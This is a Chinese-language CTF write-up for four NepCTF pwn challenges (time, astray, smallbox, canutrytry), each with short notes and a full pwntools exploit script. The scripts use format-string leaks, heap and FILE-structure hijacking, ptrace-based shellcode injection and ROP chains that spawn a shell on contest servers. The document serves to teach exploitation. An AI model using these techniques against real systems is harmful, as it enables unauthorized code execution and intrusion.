Nepnep-CTF-pwn

打了一下nep的比赛,由于个人原因,做了time和astray后就没再做了,估摸着smallbox也能出来吧,总得来说体验还是不错的,赛后复现也学到了新东西hhh,我写的wp很草率,大家可以看看别人的,不要学我这么懒噢~~,链接1链接2

time

第一次调试多进程和多线程的题,也是边调边学,这个题的考点是线程竞争,两个线程 共用一个内存地址,可以读写数据,第一次输入 file 文件名的时候随便输入一个绕过检测开启第二个线程,然后第一个线程会继续运行让你继续输入 file 文件名,这时候输入 flag ,就 可以修改内存中的数据,导致第二个进程 open(flag)(因为第二个线程运行的内容多,运行的比较慢),然后利用 fmt 泄露就可以了,但是不知道为啥,这个题%s 不行,非得用%p 泄 露,%s 卡了我很久很久,真的我哭死

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

#p=process('./time')
p = remote("nepctf32-4zsf-cgu6-xip5-dqatwcf4l596.nepctf.com", 443, ssl=True)

sla(b'please input your name:\n',b"%22$p%23$p%24$p%25$p%26$p%27$p%28$p%29$p")
sla(b'input file name you want to read:\n',b'aa\nflag')
shell()

astray

这个堆题还是蛮有意思的

这里把大小为 0x2000 的 chunk 称为 chunk1 ,用来填写 user 操作的 0x18 的 chunk 记为 chunk2 ,把 manager 操作的 0x18 的 chunk 记为 chunk3

首先可以登录 manager ,然后 read 的 index 为 0 ,便可以泄露出 heap 和 pie ,然后利用 逻辑漏洞可以把 user 的操作地址改为 index 为 0 的块,(但是代码想体现的逻辑是 manager 能操作 index 为 1~19,user 能操作 index 为 10~ 19,这就已经是违法的了),然后利用 manager 对 user 的 visit 操作,可以修改 index 为 0 块的内容,但是这个地方记录了 manager 和 user 执行操作的指针索引值,到这里,这道题的漏洞利用完成,已经可以实现很多事情了,我的 exp 是泄露 libc ,然后打 stdout 结构体,在 puts 调用的时候就可以 get_shell 了

噢对,看了一眼别人的exp,也可以利用environ打栈然后rop,也很有意思

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *

context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

def manwrite(index,concent):
sla(b'(1:manager 1000:user)\n',b'1')
sa(b'visit user(MANAGER_visit)\n',b'MANAGER_write')
sla(b'1-19: manager can visit\n',str(index).encode())
pause()
s(concent)

def manread(index):
sla(b'(1:manager 1000:user)\n',b'1')
sa(b'visit user(MANAGER_visit)\n',b'MANAGER_read')
sla(b'1-19: manager can visit\n',str(index).encode())

def visitr(index):
sla(b'(1:manager 1000:user)\n',b'1')
sa(b'visit user(MANAGER_visit)\n',b'MANAGER_visit')
sla(b'1-19: manager can visit\n',str(index).encode())
sla(b'2: manager visit user to write to user_logs\n',b'1')

def visitw(index,content):
sla(b'(1:manager 1000:user)\n',b'1')
sa(b'visit user(MANAGER_visit)\n',b'MANAGER_visit')
sla(b'1-19: manager can visit\n',str(index).encode())
sla(b'2: manager visit user to write to user_logs\n',b'2')
pause()
s(content)

def userr(index):
sla(b'(1:manager 1000:user)\n',b'1000')
sa(b'user write to logs(USER_write)\n',b'USER_read')
sla(b'10-19: user can visit\n',str(index).encode())

def userw(index,content):
sla(b'(1:manager 1000:user)\n',b'1000')
sa(b'user write to logs(USER_write)\n',b'USER_write')
sla(b'10-19: user can visit\n',str(index).encode())
pause()
s(content)

def attack(index):
sla(b'(1:manager 1000:user)\n',b'1000')
sa(b'user write to logs(USER_write)\n',b'MANAGER_visit')
sla(b'10-19: user can visit\n',str(index).encode())


libc=ELF('./libc.so.6')
elf=ELF('./astray')
#p = process(["./ld-linux-x86-64.so.2", "./astray"])
p = remote("nepctf32-unsz-rtgi-s43y-ymc9bujpw004.nepctf.com", 443, ssl=True)
manread(0)
r(8)
heap_base=uu64()-0x22d0
r(2)
pie=uu64()-0x41a0
print(hex(heap_base))
print(hex(pie))
manwrite(2,p64(he(0x4a0+8))+p64(pie+0x4040))
attack(0)
visitw(1,p64(1)+p64(he(0x22d0))+p64(he(0x4a0-0x8)))
visitr(3)
libc_base=uu64()-0x21b6a0
print(hex(libc_base))

ogg1=li(0xebc81)
ogg2=li(0xebc85)
ogg3=li(0xebc88)
ogg4=li(0xebce2)
ogg5=li(0xebd38)
ogg6=li(0xebd3f)
ogg7=li(0xebd43)
stdout=lis("_IO_2_1_stdout_")
IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
setcontext_61=libc_base+libc.sym['setcontext']+61
system,binsh=getshell()

payload=flat(
{
0x20:p64(1),
0x18:p64(0),
0xe0:p64(he(0x9a0+0x50)),
(0x50+0x18):p64(system),
},filler=b'\x00'
)
manwrite(7,payload)

visitw(1,p64(li(0x21b6a0))+p64(0)*3+p64(stdout)+p64(3))
pay=flat(
{
0x0:[b'/bin/sh\x00'], # rdi=binsh
0x20:[p64(0)], # write_base
0x28:[p64(1)], # write_ptr --> ptr > base
0xc0:[p64(0)], # _mode <= 0
0xd8:[p64(IO_wfile_jumps+0x10)],#vatble
0x88:[p64(he(0x600)+0x90)], # bypass lock
0xa0:[p64(he(0x9a0))] #fake wide_data p->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
},filler=b'\x00')
userw(0,pay)
shell()

smallbox

这个题只允许了ptrace系统调用,思路很明确,放个网站,exp基本直接照抄就好了,点这里

这里简单说一下思路

1.attach到子进程,让子进程暂停

2.将子进程的寄存器状态写到父进程的栈上,泄露出来

3.将要让子进程执行的shellcode用ptarce系统调用每次4个字节写到子进程的内存里,也就是rip指向的内存(子进程rip的值已经在上一步泄露出来了)

4.让父进程脱离对子进程的控制

5.让父进程进入无限循环,让子进程执行shellcoed获得shell

注意 要让子进程先执行一下,而且不太稳定,建议连接后稍等一会儿再输入命令

疑问 不理解为什么写入子进程的shellcode的前后必须要有nop,貌似没有nop就会失败,很奇怪

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *

context(arch="amd64", os="linux")
# context.log_level='debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

# p = gdb.debug('./smallbox', '''
# b _start
# c
# set follow-fork-mode parent
# b *$rebase(0x13e2)
# c
# ''')
# p=process('./smallbox')

p = remote("nepctf32-ameg-qqf5-f9qf-wpvdlbusv409.nepctf.com", 443, ssl=True)

child_shcode = asm("nop; " * 10 + """
push 0x42
pop rax
inc ah
cqo
push rdx
movabs rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rsi
mov r8, rdx
mov r10, rdx
syscall
nop;
""")

payload="""
mov r15, [rsp+8]
shr r15, 32

mov rax, 101;
mov rdi, 16;
mov rsi, r15;
mov rdx, 0;
mov r10, 0;
syscall;

mov rax, 101;
mov rdi, 12;
mov rsi, r15;
mov rdx, 0;
lea r10, [rsp + 104];
syscall;

"""
payload=asm(payload)

write_bytes = ""
for i in range(0, len(child_shcode), 4):
write_bytes += f"""
mov rax, 101;
mov rdi, 4;
mov rsi, r15;

mov rdx, [rsp + 104 + 128];
add rdx, {i};

mov r10, {u32(child_shcode[i:i+4].rjust(4,b"0"))};
syscall;

"""
payload += asm(write_bytes)

payload += asm(f"""

mov rax, 101;
mov rdi, 17;
mov rsi, r15;
mov rdx, 0;
mov r10, 0;
syscall;

mov eax, 1
loop:
test eax, 1
jne loop;
""")


sa(b'shellcode: \n',payload)
sleep(5)
shell()

canutrytry

只是一道和C++抛出异常有关的题,之前没见过,看着别人的exp慢慢调的,边调边学,很有意思 参考文章

这里就简单放个exp了,具体分析会放在另一篇文章中,连同如何获取配套的依赖库并更换的方法(走了很多坑,大哭呜呜呜)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

def visit_1():
sla(b'your choice >>',b'1')
sla(b'your choice >>',b'1')

def visit_2(size):
sla(b'your choice >>',b'1')
sla(b'your choice >>',b'2')
sla(b'size:',str(size).encode())

def visit_3(index,content):
sla(b'your choice >>',b'1')
sla(b'your choice >>',b'3')
sla(b'index:',str(index).encode())
sa(b'content:',content)

def leave(index):
sla(b'your choice >>',b'2')
sla(b'index: ',str(index).encode())

libc=ELF('./libc.so.6')
# p=process('./canutrytry')
p = remote("nepctf30-re0p-1yod-ovkd-tywcgo6zc386.nepctf.com", 443, ssl=True)
visit_2(0x38)
visit_1()
visit_2(-1)
visit_1()
ru(b'setbufaddr:0x')
libc_base=int(ru('\n')[:-1],16)-0x87fe0-0x80
ru(b'stackaddr:0x')
stack=int(ru('\n')[:-1],16)
payload=b'a'*0x20+p64(0x405460)+p64(0x401ed9)

rdi=li(0x000000000002a3e5)
rsi=li(0x000000000002be51)
rdx_r12=li(0x000000000011f497)
write=lis('write')
visit_3(0,payload)
leave(0)
payload=p64(rdi)+p64(2)+p64(rsi)+p64(0x4053c0)+p64(rdx_r12)+p64(0x64)+p64(0)+p64(write)
sla(b'well,prepare your rop now!\n',payload)
sla(b'Enter your flag: ',b'aaa')
payload=b'a'*0x10+p64(0x405458)
print(hex(libc_base))
s(payload)
shell()